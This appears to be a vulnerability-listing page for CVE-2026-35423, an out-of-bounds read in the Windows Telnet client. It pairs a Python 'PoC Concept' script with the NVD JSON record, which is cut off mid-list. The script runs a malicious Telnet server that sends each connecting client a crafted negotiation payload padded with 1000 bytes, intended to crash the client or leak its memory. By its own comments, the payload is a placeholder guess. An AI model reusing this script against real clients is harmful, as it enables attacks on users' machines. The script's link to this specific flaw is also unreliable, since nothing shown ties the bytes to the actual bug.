CVE-2026-35423

# PoC Concept for CVE-2026-35423 (Out-of-bounds Read) # This script simulates a malicious Telnet server. # It sends a crafted payload to trigger the vulnerability in the connecting client. import socket import sys def malicious_server(host='0.0.0.0', port=2323): # Create a TCP socket server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) try: server_socket.bind((host, port)) server_socket.listen(5) print(f"[*] Listening on {host}:{port}...") while True: client, addr = server_socket.accept() print(f"[*] Accepted connection from {addr[0]}:{addr[1]}") try: # Send the initial Telnet negotiation commands # Payload designed to trigger the out-of-bounds read # Adjust the byte sequence based on specific vulnerability analysis payload = b'\xff\xfd\x18' # Example Telnet command payload += b'A' * 1000 # Padding to overflow/poison buffer payload += b'\xff\xfb\x18' # Additional negotiation client.send(payload) print("[*] Payload sent, checking for crash/leak response...") # Wait for response (optional) response = client.recv(4096) print(f"[*] Received: {response}") except Exception as e: print(f"[!] Error with client: {e}") finally: client.close() except KeyboardInterrupt: print("\n[*] Server stopped.") server_socket.close() except Exception as e: print(f"[!] Server error: {e}") if __name__ == "__main__": malicious_server()

{"cve": {"id": "CVE-2026-35423", "sourceIdentifier": "[email protected]", "published": "2026-05-12T18:17:13.077", "lastModified": "2026-05-14T18:03:52.820", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Out-of-bounds read in Telnet Client allows an unauthorized attacker to disclose information over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.14393.9140", "matchCriteriaId": "D48FE1A3-FD94-469C-87EA-AA7B4AAC6B86"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.14393.9140", "matchCriteriaId": "027462CD-8FA3-4C9F-8778-5AB3F4CDB5B1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.17763.8755", "matchCriteriaId": "94017187-8A34-41BB-A49E-0FA6986E8CB8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.17763.8755", "matchCriteriaId": "BB81D249-7566-44B7-914C-A3674CE87AFB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:arm64:*", "versionEndExcluding": "10.0.19044.7291", "matchCriteriaId": "92E25E15-66FF-45E3-A044-88A7CFDEA9DF"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.19044.7291", "matchCriteriaId": "0D04D4AA-D1A5-45D4-A27A-F80D3F6171AF"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.19044.7291", "matchCriteriaId": "12B4D343-5326-4CF2-913D-F642C34B458A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:arm64:*", "versionEndExcluding": "10.0.19045.7291", "matchCriteriaId": "6BB3BCA4-519F-4BAB-B7C7-9E3BBCE5A6AB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.19045.7291", "matchCriteriaId": "65466E7E-0BDC-4ECC-AE5F-2E4B8615D205"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.19045.7291", "matchCriteriaId": "A722684E-1073-4076-82AE-3235AA1C4C9F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:arm64:*", "versionEndExcluding": "10.0.22631.7079", "matchCriteriaId": "D039A905-2FE4-4A10-85BF-175947E6A017"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.22631.7079", "matchCriteriaId": "4904DDBD-B183-4AA2-ABD6-47BAF1A28861"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:arm64:*", "versionEndExcluding": "10.0.26100.8390", "matchCriteriaId": "048AD3CD-DD62-4B62-9302-61779D998B4A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.26100.8390", "matchCriteriaId": "3682F4DD-0870-4E39-B75E-649C89BB1E08"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:arm64:*", "versionEndExcluding": "10.0.26200.8390", "matchCriteriaId": "C2C93D38-DFD7-4DE1-95B8-6D73E4A545D6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.26200.8390", "matchCriteriaId": "05EB89A0-2ADD-4B67-A644-41FE1DE69E4A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_26h1:*:*:*:*:*:*:arm64:*", "versionEndExcluding": "10.0.28000.2113", "matchCriteriaId": "D45A5D2F-E058-4033-B184-BAE224FC1CEA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_26h1:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.28000.2113", "matchCriteriaId": "5127F350-9271-4B74-84E0-D7E5D2D5640E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2012:-:*:*:*:*:*:*:*", "matchCriteriaId": "A7DF96F8-BA6A-4780-9CA3-F719B3F81074"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2012:r2:*:*:*:*:*:*:*", "matchCriteriaId": "DB18C4CE-5917-401E-ACF7-2747084FD36E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2016:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.14393.9140", "matchCriteriaId": "71D026B8-B196-4 ... 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